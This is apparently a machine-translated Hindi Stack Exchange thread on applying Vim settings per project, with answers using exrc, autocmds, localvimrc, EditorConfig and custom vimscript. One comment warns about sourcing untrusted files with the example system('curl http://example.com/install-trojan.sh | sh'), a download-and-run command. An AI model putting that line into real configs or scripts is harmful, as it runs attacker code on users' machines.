केवल एक निर्देशिका ट्री में सेटिंग लागू करना


33

मेरे काम में हम ts2 के मानक का उपयोग करते हैं ; मेरी व्यक्तिगत पसंद 4 है, जो कि मैं अपने शौक परियोजनाओं के लिए उपयोग करता हूं, और यह अन्य परियोजना जो हमें विरासत में मिली है, का सम्मेलन है ts=8

कुछ अन्य सेटिंग्स भी हैं जो मैं परियोजना के आधार पर सेट करना चाहता हूं (उदाहरण के लिए तह)। इन सेटिंग्स को फ़िलाटाइप या ऑटो-डिटेक्टिंग पर आधारित करके यह पता लगाना कि फ़ाइल का उपयोग करना क्या अच्छा विकल्प नहीं है, क्योंकि मैं प्रत्येक परियोजना के सम्मेलनों का सम्मान करना चाहता हूं।

क्या मैं किसी फाइल में किसी मॉडलइन को जोड़े बिना किसी प्रोजेक्ट पर लागू होने वाली सेटिंग्स फ़ाइल (एक डायरेक्टरी ट्री में सब कुछ) के लिए विम का उपयोग कर सकता हूं?


जवाबों:


19

ऐसा करने के लिए कुछ हल्के तरीके हैं।

  1. दिए गए नाम की फ़ाइल की जाँच करें और उसे स्रोत करें

    if filereadable(".vimscript_file")
        so .vimscript_file
    endif
    

    फ़ाइल उदाहरण में छिपी है, लेकिन यह वैकल्पिक है।

  2. स्थानीय .vimrcफ़ाइलें (प्लगइन के समान नहीं)

    set exrc
    

    यह 1 के समान है। लेकिन फ़ाइल को ".vimrc" कहा जाएगा।

    इसका उपयोग करने के लिए एक सामान्य सुझाव है

    set secure
    

    जो किसी .vimrcफ़ाइल को शेल कमांड चलाने जैसी संभावित खतरनाक चीज़ों को करने से रोकता है । यह विचार यह है कि आप .vimrcकिसी अन्य व्यक्ति द्वारा लिखी गई फ़ाइल को पढ़ने के लिए नहीं चाहते हैं जो कुछ बुरा करती है।

  3. ऑटोकॉमैंड्स जो वर्तमान पथ की जांच करते हैं

    au BufNewFile,BufRead *path-possibly-using-globbing setlocal setting=value
    

    यह मेरे द्वारा उपयोग किया जाने वाला विकल्प है। मैं YMMV के विभिन्न प्रोजेक्ट्स के बीच बहुत ज्यादा बदलाव नहीं करता, लेकिन यदि आप सिर्फ एक या दो काम करना चाहते हैं, तो इसे अपने पास रखें और इसे .vimrcअच्छा और सरल बनाएं।


ध्यान दें कि विकल्प 1 और 2 में एक ही सीमा है जो इस टिप्पणी में वर्णित है : यह पुनरावर्ती उपनिर्देशिकाओं पर लागू नहीं होता है।

15

मैं इस उद्देश्य के लिए localvimrc का उपयोग करता हूं

.lvimrcअपने प्रोजेक्ट के अंदर अपनी प्रोजेक्ट सेटिंग्स के साथ रखें और ये सेटिंग्स सेटिंग को ओवरराइड कर देंगी .vimrc

डिफ़ॉल्ट रूप से, आपसे पूछा जाएगा कि क्या आप इस फ़ाइल को स्रोत बनाना चाहते हैं, जैसे:

localvimrc: source /home/martin/code/.lvimrc? ([y]es/[n]o/[a]ll/[q]uit) 

यह बेतरतीब (अविश्वसनीय) vimrc फ़ाइलों की सोर्सिंग को रोकने के लिए है। यदि आपको यह कष्टप्रद लगता है, तो आप .lvimrcफ़ाइलों की एक श्वेत सूची के साथ सेटअप कर सकते हैं g:localvimrc_whitelist:

let g:localvimrc_whitelist = '/home/martin/code/.lvimrc'

या आप केवल पुष्टिकरण पुष्टिकरण को पूरी तरह से निष्क्रिय कर सकते हैं set g:localvimrc_ask = 0। हालांकि, यह अनुशंसित नहीं है।


5

केंद्रीय विन्यास

यदि यह विशिष्ट आदेशों / स्थानीय अपवादों को केंद्रीय रूप से कॉन्फ़िगर करने के लिए ठीक है, तो आप ऐसे ऑटोकैम को अपने में डाल सकते हैं ~/.vimrc:

:autocmd BufRead,BufNewFile /path/to/dir/* setlocal ts=4 sw=4

इसके :setlocalबजाय उपयोग करना महत्वपूर्ण है :set, और इसी तरह :map <buffer> ...और :command! -buffer ...

दूसरी ओर, यदि आप प्रोजेक्ट के साथ संग्रहित विशिष्ट कॉन्फ़िगरेशन चाहते हैं (और इसे मॉडल के माध्यम से सभी फ़ाइलों में एम्बेड नहीं करना चाहते हैं ), तो आपके पास निम्नलिखित दो विकल्प हैं:

अंतर्निहित कार्यक्षमता के साथ स्थानीय कॉन्फ़िगरेशन

यदि आप हमेशा प्रोजेक्ट रूट निर्देशिका, बिल्ट-इन से विम शुरू करते हैं

:set exrc

.vimrcवर्तमान निर्देशिका से किसी फ़ाइल को पढ़ने में सक्षम बनाता है । आप :set ts=4 sw=4कमांड्स को वहां रख सकते हैं ।

प्लगइन के माध्यम से स्थानीय विन्यास

अन्यथा, आपको एक प्लगइन की सहायता की आवश्यकता है; vim.org पर कई हैं; मैं लोकल आर्क प्लगइन की सिफारिश कर सकता हूं , जो स्थानीय फाइलपेट -विशिष्ट कॉन्फ़िगरेशन की भी अनुमति देता है।

ध्यान दें कि फ़ाइल सिस्टम से रीडिंग कॉन्फ़िगरेशन में सुरक्षा निहितार्थ हैं; आप चाहते हो सकता है :set secure


2
ध्यान दें कि .exrcअत्यंत सीमित हैं: परियोजना की धारणा वर्तमान निर्देशिका में बंद हो जाती है, अर्थात उपनिर्देशिका में फ़ाइलें परियोजना से संबंधित नहीं होती हैं।
ल्यूक हरमिट्टे

4

वहाँ संपादक विन्यास परियोजना है जो आपको नई लाइन शैलियों और अन्य चीजों के साथ प्रोजेक्ट स्तर कॉन्फ़िगरेशन जैसे टैबस्टॉप सेटिंग्स को परिभाषित करने की अनुमति देती है। विम सहित सभी प्रकार के संपादकों के लिए कई प्लगिंग हैं । यह आपको विभिन्न फ़ाइल प्रकारों के लिए सेटिंग्स को परिभाषित करने की भी अनुमति देता है।

# EditorConfig is awesome: http://EditorConfig.org

# top-most EditorConfig file
root = true

# Unix-style newlines with a newline ending every file
[*]
end_of_line = lf
insert_final_newline = true

# Matches multiple files with brace expansion notation
# Set default charset
[*.{js,py}]
charset = utf-8

# 4 space indentation
[*.py]
indent_style = space
indent_size = 4

# Tab indentation (no size specified)
[*.js]
indent_style = tab

# Indentation override for all JS under lib directory
[lib/**.js]
indent_style = space
indent_size = 2

# Matches the exact files either package.json or .travis.yml
[{package.json,.travis.yml}]
indent_style = space
indent_size = 2

0

मैंने इसे लिखा है और इसे अपने .vimrc में जोड़ा है ताकि मुझे परियोजनाओं और उप-परियोजनाओं में फ़ाइलों को स्थापित करने की अनुमति दे सके।

" Search for any .vimsettings files in the path to the file.
" Source them if you find them.
function! ApplyLocalSettings(dirname)
    " Don't try to walk a remote directory tree -- takes too long, too many
    " what if's
    let l:netrwProtocol = strpart(a:dirname, 0, stridx(a:dirname, "://"))
    if l:netrwProtocol != ""
        return
    endif

    " Convert windows paths to unix style (they still work)
    let l:curDir = substitute(a:dirname, "\\", "/", "g")
    let l:parentDir = strpart(l:curDir, 0, strridx(l:curDir, "/"))
    if isdirectory(l:parentDir)
        " Recursively walk to the top of the path
        call ApplyLocalSettings(l:parentDir)
    endif

    " Now walk back down the path and source .vimsettings as you find them. This
    " way child directories can 'inherit' from their parents
    let l:settingsFile = a:dirname . "/.vimsettings"
    if filereadable(l:settingsFile)
        exec ":source " . l:settingsFile
    endif
endfunction
autocmd! BufEnter * call ApplyLocalSettings(expand("<afile>:p:h"))

जब यह काम करता है, तो इसे खतरनाक माना जा सकता है क्योंकि आप सिर्फ एक फाइल system('curl http://example.com/install-trojan.sh | sh')
सोर्स

0

मैं ऐसा चाहता था इसलिए मैंने इसे स्थानीय स्तर पर लागू किया। मैं "यादृच्छिक कोड निष्पादित करने" से संबंधित नहीं हूं, लेकिन यह सरल आवश्यकताओं के लिए काम कर सकता है। आवश्यकतानुसार फाइलनेम को समायोजित करें।

let s:this_file = expand("<sfile>")
autocmd BufEnter * call LoadLocalVimrc(expand("<afile>"))

function! LoadLocalVimrc(filename)
    let l:filepath = fnamemodify(a:filename, ':h')
    let l:file = findfile("local.vimrc", l:filepath . ";/")
    if l:file != ''
        execute "source" l:file
        execute "nnoremap <F8> :$tabe " . s:this_file . "<CR>:sp " . l:file . "<CR>"
    endif
endfunction

यह local.vimrcवास्तव में प्रति-कंपनी vimrc फ़ाइलों के मेरे पर्याप्त संग्रह में एक फ़ाइल के लिए एक सहानुभूति है, जिसे मैं कहीं और स्रोत नियंत्रण में रख सकता हूं, जिससे मेरा पूरा कॉन्फ़िगरेशन अन्य मशीनों पर स्थानांतरित करना आसान हो जाता है या यदि मैं किसी कंपनी की साइट पर या किसी चीज़ पर जाता हूं । कैस्केडिंग कॉन्फ़िगरेशन का उपयोग किया जा सकता है लेकिन व्यवहार में मुझे उस कार्यक्षमता की आवश्यकता नहीं है। मैं F8उस मिली हुई फ़ाइल को खोलने के लिए वायर करता हूं और .vimrcएक नए टैब में मेरा "मुख्य" ...

उन स्थानीय कॉन्फ़िगरेशनों के अंदर, चूंकि वे हर खोली गई फ़ाइल के लिए पार्स किए गए हैं, आप बफर-लोकल के लिए मैपिंग और सेटिंग्स सेट करना सुनिश्चित करें। उदाहरण के लिए

nnoremap <buffer> <F3> :silent !p4 edit %<CR>:w!<CR>:e<CR>
nnoremap <buffer> <S-F3> :w<CR>:silent !p4 add %<CR>
nnoremap <buffer> <C-F3> :silent !p4 diff %<CR>
nnoremap <buffer> <S-C-F3> :silent !p4vc timelapse %<CR>

setlocal textwidth=101
setlocal noexpandtab
setlocal shiftwidth=4
setlocal tabstop=4
setlocal cinoptions=:0g0(0l1j0*700s+s
हमारी साइट का प्रयोग करके, आप स्वीकार करते हैं कि आपने हमारी Cookie Policy और निजता नीति को पढ़ और समझा लिया है।
Licensed under cc by-sa 3.0 with attribution required.